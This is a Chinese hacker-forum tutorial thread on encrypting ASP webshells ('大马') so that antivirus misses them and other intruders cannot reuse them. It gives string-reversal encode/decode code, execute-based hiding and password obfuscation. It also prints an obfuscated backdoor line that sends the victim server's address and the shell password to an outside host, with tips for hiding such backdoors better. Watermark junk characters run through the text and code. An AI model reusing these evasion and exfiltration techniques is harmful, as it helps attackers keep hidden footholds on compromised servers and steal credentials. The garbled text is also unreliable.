资讯·论坛·笑话大全·QQ表情·设为首页
发新话题
打印

[黑客攻防] 加密你的大马

本主题由 天涯海角 于 2008-7-8 08:31 加入精华

加密你的大马

大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好,于是你就用了,但是你没想过该马可能有后门?现在很多的大马都加密了,打开时候一片乱码,是不是也想加密自己的大马了,加密后的Webshell不仅可以防止别人捡我们的Shell用,还能免杀webshell。ASP木马加密不难,让我们一起踏上大马加密之旅。
6 V; s5 V/ G2 ^8 B: d) jwww.520diannao.com  一:人工加密www.520diannao.com8 [3 O1 b- l; Q7 K- O3 E4 d

/ F; G# u7 {) O% rwww.520diannao.com  1.主加密函数的编写我爱电脑技术社区--打造最好的电脑技术自学交流平台9 p8 e, ?0 W% b5 e9 |) n/ a4 K
www.520diannao.com8 Q! [) K& ]* b! T4 `& O3 k
  1)主解密与解密函数打造最好的电脑自学交流论坛. M2 r5 f! Y8 @! x, F9 p8 ~
我爱电脑技术论坛2 c! ^; `# _+ _+ f
  对大马的加密关键是编写我们的加密函数,然后写出相应的解密函数。我这里先得对几个ASP自带函数有个了解
7 v5 v: ^9 N6 h打造最好的电脑自学交流论坛- |3 D3 J; h9 g0 H/ _/ D( l( ~
  CHR:将ASCII 字码转换成字符
, ]+ ^1 E9 z8 r2 _) [( V8 ^
1 @% B/ q& z) K( Q1 P) t我爱电脑技术论坛  REPLACE:将一个字符串取代 部份字。www.520diannao.com3 u2 B8 b% k- o8 w
我爱电脑技术论坛+ A4 R% Z, n6 I& Z2 V7 c5 _& e
  ASC:将字符串的第一字母转换成 ANSI (美国国家标准符号)字码。我爱电脑技术论坛+ G4 [- n' E# A0 x1 a% t' Z
, m" j8 r6 R# S: j5 N& C2 F
  Len:取得字符串的长度。
: M: h& x$ ~& j5 d. H打造最好的电脑自学交流论坛
' L( n0 k4 C. D! Y& y打造最好的电脑自学交流论坛  然后对IF语句和一些VBS函数相关知识有个了解。大家有不懂可以查看Windows脚本技术,里面比较详细。
& Y; ~& n+ t2 ^& `6 H# A; z我爱电脑技术论坛我爱电脑技术论坛7 _7 p: Y% {8 E# {! n* l" U
  我们先看下一个最常用的解密函数吧。电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站4 G( l% V8 d1 p; g" \
www.520diannao.com# c) e# s. o. K
dim ShiSan,ShiSanNewstr,ShiSanI
, Z# Q" d0 C; ]打造最好的电脑自学交流论坛Function ShiSanFun(ShiSanObjstr)
  M9 E9 C$ X- s打造最好的电脑自学交流论坛ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
& U+ i5 B, f' |; F) {! e, Zwww.520diannao.comFor ShiSanI = 1 To Len(ShiSanObjstr)www.520diannao.com% [2 w2 b6 j8 V" S+ p
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站7 H6 _8 J, \9 j) ]
  ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
/ d( _5 I* p3 f6 VElse
3 }4 O; `4 p( ]. O6 {( B  v* r打造最好的电脑自学交流论坛  ShiSanNewStr = vbCrLf & ShiSanNewStr
& k/ K/ q$ f) B+ swww.520diannao.comEnd If
+ D' i. I3 L/ _4 P: w# Jwww.520diannao.comNext我爱电脑技术论坛0 K: O9 H+ ^5 M) M! I2 w) R
ShiSanFun = ShiSanNewStr我爱电脑技术论坛' S  e9 n9 L) l
End Function打造最好的电脑自学交流论坛1 H9 s4 y4 I. q
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站" L# u4 j+ S- r4 V8 _+ F4 x
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站3 r( R% h+ D. c/ p: G* ?9 P
  这个解密函数就是将加密后的代码解密。他先将解密代码(Str)中的╁换为引号("),得到Str1,然后通过FOR循环,将加密部分(Str1)逐个取出,将取出的字符倒叙连接成一个新字符,并将╋换为vbcrlf(换行符)。这个加密函数应用的相当广泛,就连华夏免杀Webshell也用了这个函数
- {) w% k' ~& C, m! y( Y) U打造最好的电脑自学交流论坛电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站( O3 C& R4 a3 R5 A; e3 u& C
  好了。知道加密的原理后我们就可以编写自己的加密函数了。ASP的加密函数只需要将上面的部分稍微改下,但是需要可以执行的环境(本地IIS或上传到服务器)。这里我给出了JS+HTML写的加密网页

TOP

---------->JS+HTML加密:www.520diannao.com) `; b+ B0 I1 [6 F
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站! Z1 I* O3 [$ x4 z
<html>
4 ~% C  I" q5 m# L我爱电脑技术论坛<script script="JavaScript">打造最好的电脑自学交流论坛4 W- ?0 ^+ p) J. R9 c  A  k
function enCode(theText)
$ O- F; f6 j4 q' c/ h" V& a打造最好的电脑自学交流论坛{www.520diannao.com. W5 ^6 _+ V; ]5 c9 C( _' m
output=new String;打造最好的电脑自学交流论坛' L+ r% d) M/ Y* E& ~: I# P5 j  @
TextSize=theText.length;www.520diannao.com4 x# F# Z4 B2 N8 ]" [' M
for (i = 0; i < TextSize; i++)电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站5 e5 `% e# ?& F1 ~1 [7 ^/ N: L7 x
{5 j) }5 K6 d; E1 {
  if(theText.charCodeAt(i)=="13")www.520diannao.com& e3 n& Z6 |* E, D* |) V3 _1 x
  {
# I8 T$ J8 q2 a2 P- {) h2 M我爱电脑技术社区--打造最好的电脑技术自学交流平台  output="鹏"+output;
4 |' q. r+ m/ S# c; f' uwww.520diannao.com  }
4 Q, e; H: ~$ q# j! B, o( A  else if(theText.charCodeAt(i)=="10")
) g; r: E- [8 ]9 j0 L, m" A" v打造最好的电脑自学交流论坛  {
* T8 B8 H6 ~* _打造最好的电脑自学交流论坛  output+="";% m: q3 k( v4 h
  }
1 K7 B) f9 [# q: o3 ~我爱电脑技术社区--打造最好的电脑技术自学交流平台  else
, ?4 I( Q$ J1 y0 h) L我爱电脑技术社区--打造最好的电脑技术自学交流平台  {电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站* M1 U& Z' t' }* [" @2 w
  output=theText.charAt(i)+output;打造最好的电脑自学交流论坛: v; E# Y* o% U1 k
  }! A, W% E5 E0 `, T- k+ s' q& k
}电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站- R. s4 a9 e' Q! V
return output我爱电脑技术社区--打造最好的电脑技术自学交流平台& X4 `9 H& C; i5 V/ n6 w! b+ q
}
) I# y" S3 D, x" @0 G# n# X我爱电脑技术社区--打造最好的电脑技术自学交流平台</script>0 \# N) t6 W0 f/ k6 H7 F
<form name=encform onsubmit="return false;" />www.520diannao.com9 w5 }* s0 V, r! T; n' n- b
<textarea name=box1 rows=16 cols=120></textarea>
1 a' z0 l' m! y  _9 ]2 I<br />我爱电脑技术论坛; x" }, P. L2 P$ D& V$ m
<input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br />打造最好的电脑自学交流论坛0 Q0 y. v3 ?' I. Y! F, Y6 X
<textarea name=box2 rows=16 cols=120></textarea>! x* F# e$ N0 K! p, {$ z7 s
</form>我爱电脑技术社区--打造最好的电脑技术自学交流平台' C$ Y  o( @5 l- a1 n* N
</form>
* R) a( z! e, p7 Q1 K' G2 x电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站</html>
, c! C; D6 z6 X  ~我爱电脑技术社区--打造最好的电脑技术自学交流平台保存为html格式然后用IE打开,将需要加密的部分填写上,然后点击按钮"加密到下面文本框" ,就可以得到加密后的字符串了。
9 l# K: R# G. @2 B6 n! _8 n9 i我爱电脑技术社区--打造最好的电脑技术自学交流平台  上面的加密函数是enCode,他的作用是将ASP代码(Code)中的换行换为鹏,得到Code1,然后将Code1倒序(13和10分别是回车和换行的编码)。比如:
+ {; D' U. @+ `; Q$ R" X$ n. G/ s+ M) C. o电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站我爱电脑技术社区--打造最好的电脑技术自学交流平台9 Z( s9 N, r: y8 f; a
  Sub RRS(str)电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站: y) e, ~0 {! U& W/ L# p' b+ r

4 b, }# j: u5 y9 L- Vwww.520diannao.com  response.write(str)
, j% _& B9 w9 l# {* zwww.520diannao.com
0 [* [5 w( g( }7 p% ]  q我爱电脑技术社区--打造最好的电脑技术自学交流平台  End Sub; }" u# f: i4 l( p0 ^7 c7 g- e
/ A! Z1 Z5 @: K  \
  加密后就为
9 x" k' p& Z; @& g5 g) swww.520diannao.com
4 s# O# O3 T0 R5 H7 S& f7 q7 h; P打造最好的电脑自学交流论坛  buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buSwww.520diannao.com1 a$ Q7 _" o+ r- _' V* i

0 |6 ^/ m- {) f3 x4 V打造最好的电脑自学交流论坛  写了加密函数后就要写出对于的解密函数,必须用ASP编写
  z& d4 h8 X' C, ~( s$ L+ s我爱电脑技术社区--打造最好的电脑技术自学交流平台
0 M( R! z6 M, Q  Kdim psEncode,psStr,psI
2 H  F9 H8 ^8 I: O- N打造最好的电脑自学交流论坛Function unCode(psEncode)  M! H1 D  [! f# l
For psI=1 To Len(psEncode)
& c+ _' u0 S% E) M! g) h: M打造最好的电脑自学交流论坛If Mid(psEncode,psI,1)<>"鹏" Then
8 Z( ~# w; }" e7 a- Y# d! E5 f) y电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站psNewStr=Mid(psEncode,psI,1)&psNewStr
. a% z9 X: y7 ^. F7 P& z+ R, BElse打造最好的电脑自学交流论坛( f+ p# t/ Q  w0 ~3 i
psNewStr=vbCrlf&psNewStr
1 I2 |, I; j. _6 n4 T' ?6 o& T电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站End If
& \9 x/ t& O9 J, \! ^www.520diannao.comNext
3 N0 t8 ]' H" {/ `) x; Y6 \- G$ {我爱电脑技术论坛unCode=psNewStr
9 w, p# |8 F$ P0 R  ^电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站End Function
7 g! c0 B8 I! D我爱电脑技术社区--打造最好的电脑技术自学交流平台
2 c% A" D1 b1 @' P& ~' I打造最好的电脑自学交流论坛  

TOP

这样我们就可以将ASP中的RRS函数用www.520diannao.com) n- [- z( z4 D0 O/ q; R1 O) l: Z

3 b( z) L6 X  O5 |# N2 @打造最好的电脑自学交流论坛  execute(unCode("buS dnE鹏)rts(etirw.esnopser 鹏)rts(SRR buS"))我爱电脑技术论坛3 `; S* M+ V2 M  C! `8 z/ o' N6 o' U
打造最好的电脑自学交流论坛; D1 h# E" |/ `" a  @
  代替掉
: E. |7 p  P0 ^( n) t9 k我爱电脑技术论坛
, P/ ^7 W' s8 K# K( o$ o: u% X8 ^& {我爱电脑技术论坛  Sub RRS(str)
( N' Q1 j9 f2 M  I* s4 \: j' \% H5 f2 d) z我爱电脑技术论坛电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站  _. Y; w) P3 g7 {* K
  response.write(str)打造最好的电脑自学交流论坛# t5 k. E/ V" V; _$ K  v! f( e
我爱电脑技术社区--打造最好的电脑技术自学交流平台8 ~9 c3 y% b. p9 U& a. F
  End Sub
' `5 J+ H: z3 k5 j$ [  B9 s6 a我爱电脑技术论坛% I$ R' x1 A6 q
  我们可以利用这个加密函数加密多处,这样多加密一般可以免杀大马
) S. L, S. d. O2 Z* o打造最好的电脑自学交流论坛我爱电脑技术社区--打造最好的电脑技术自学交流平台0 t1 ~  c* q- ]  x$ C3 Z
  (2)加密解密函数www.520diannao.com+ P+ x5 p. Z# h8 O, Q2 a
我爱电脑技术论坛& o8 o$ M& V! t
  直接调用解密函数,很容易使自己的解密函数泄露,我们可以利用一个函数来加密我们的加密函数,这样就难找一点了,这主要是为了保护我们的马,对于上面我们的解密函数,我们可以再写一个加密函数,然后调用execute来,这样就可以隐藏我们的解密函数了。这样我们解密函数的源代码就不会明文出现在webshell里了
+ P% H. C3 L4 E: P打造最好的电脑自学交流论坛
" E: X* p- t+ I' @# wwww.520diannao.com  (3)嵌套加密我爱电脑技术论坛# r+ |* x- W* f1 B" q
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站0 V8 [# V% e6 I/ Q4 B& g  r
  我们可以在主加密函数里面嵌套次加密函数,不过这样我们需要对应的写出多个解密函数,这样加密比较侧地,小破孩就马就是采用这种加密方法。由于方法相同,我就不多啰嗦了,大家有兴趣可以自己去研究下幽月或小破孩的,我这里有源码,想要的可以到我博客(hi.baidu.com/novaa)www.520diannao.com$ c/ w) C9 H$ ^: V2 X5 |$ }* J: `
www.520diannao.com4 Z5 `% h2 V4 f. H/ a4 J
  2.密码的加密
4 e- O& R, L) r/ ?我爱电脑技术论坛
- @8 r1 M; J; B我爱电脑技术社区--打造最好的电脑技术自学交流平台  大家是否遇见过webshell的密码是很长的数字,20多位或30多位。这就是对密码加密了的,通过对密码加密,可以防止别人通过查看我们的源代码得到我们的密码,除非他完全解密了我们的webshell,否则我们大马就是安全的。这里看一个对密码加密的函数。www.520diannao.com' \, m+ f% z1 L# Q6 g4 L

3 n2 J8 }. p8 Q! h8 Y5 l. BFunction enPass(psStr,Pos)
0 [3 n: N7 q3 `# n* P$ E我爱电脑技术论坛Dim i,psNewStr
  N. J7 M: E% g6 _打造最好的电脑自学交流论坛For i = 1 To Len(psStr)
* n$ A! k3 i* @5 ]3 i& U9 w- m* S电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (20080808-Pos)www.520diannao.com7 B( O' n: f% h3 [
Next
% G" B, y0 ^" D% N. U% P6 Y3 o电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站enPass =psNewStr
; A7 \, z* J) J我爱电脑技术社区--打造最好的电脑技术自学交流平台End Function
7 J" z* V/ X: V- z, t; s  }$ G打造最好的电脑自学交流论坛9 I# Z! v) T- r7 Z+ P5 k  }
  我爱电脑技术论坛: {7 b* F9 i6 r3 `
打造最好的电脑自学交流论坛' Y/ F+ q! J& F/ K# {- u
  上面的这个加密函数是对每一位密码的数字取ascii码,然后加上Pos & (20080808-Pos)&i,这里注意&是连接字符,比如n&ov&aa结果是novaa6 j1 D! R5 I/ k& Z; O+ |( j
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站# V+ x  l1 h- s) D! D1 s# [
  然后我们把解密后的部分定义为UserPasswww.520diannao.com! G& }2 B! {# K0 w9 K! P
www.520diannao.com6 c8 d0 B5 {+ k) h; |5 N
  然后在验证的地方通过
/ X' Z2 n  ~  P: x我爱电脑技术社区--打造最好的电脑技术自学交流平台
" E' j0 f' b' O+ N$ e9 y2 R电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站  enPass(request.form("pass"),pn)=UserPass 来进行身份验证,当然,通过修改密码的验证方式可以轻松的修改密码,但是前提是你已经完全解密了这个webshell了。
2 ^* M, z- e% M4 x7 {www.520diannao.com
. G, }/ U0 I& G% L" q" i  3.后门的隐藏技术我爱电脑技术社区--打造最好的电脑技术自学交流平台" M1 U6 E! W: G/ O# @$ y3 ]# i

! E9 p& P' Q5 g我爱电脑技术社区--打造最好的电脑技术自学交流平台  怎么隐藏后门?其实主要就利用ASP的自带函数和一些其他技巧,这里我以破小孩后门来解释
: |' b& z( H6 f5 k. |电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站www.520diannao.com8 b& E+ n. i1 x, b7 r5 b
RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"
0 ~7 |6 `4 y- f, t! m* N电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站这个和幽月的后门隐藏技术差不多,都是利用了ASCII编码和HTML编码,CHR(37)是"/",我们把它还原就是www.520diannao.com' A/ i! P; v2 F3 o2 L2 ?
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站" z+ E7 W/ C1 A# f
这里我们可以做的更隐蔽些。
. K- }0 w" o' q: H2 h7 a- A打造最好的电脑自学交流论坛打造最好的电脑自学交流论坛# k+ V. `1 i1 L0 k2 |
  1.我们查找后门的时候一般是利用查找有UserPass的地方,因此,我们可以利用enPass(request.form("pass"),pn)赋值给另一个变量canyou,然后把&p="&UserPass&"换为&p="&canyou&"/ v. X( ^/ z( x4 W+ B, Q6 `

- J7 T, I! \' k, b打造最好的电脑自学交流论坛  2.我们可以利用webshell里面自带的常量来代替http,以为http也是经常用来找后门的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"这里就有HTTP,我们利用Right函数来取得Sot(13,0) 右边的4个字符,然后代替后门中的HTTP打造最好的电脑自学交流论坛' E. t* i0 t, ^# X8 R. X! ^- F

; `5 Q4 H& x5 O+ ?) Y. m0 ywww.520diannao.com  二:工具加密
- v; |1 G" g% _' k% Y5 h, n4 @我爱电脑技术论坛
/ [3 H1 v8 j6 j$ B  利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密,这样我们的webshell就完全成了一堆乱码了www.520diannao.com% Q6 ]  i- E) c$ o5 [

% o/ q6 B2 L. b  有了上面的加密知识,相信大家很快可以掌握ASP的解密,方法都是一样的,然后大家就可以玩玩除后门了

TOP

顶起来呵呵,不错的东西!

TOP

太深奥!

TOP

发新话题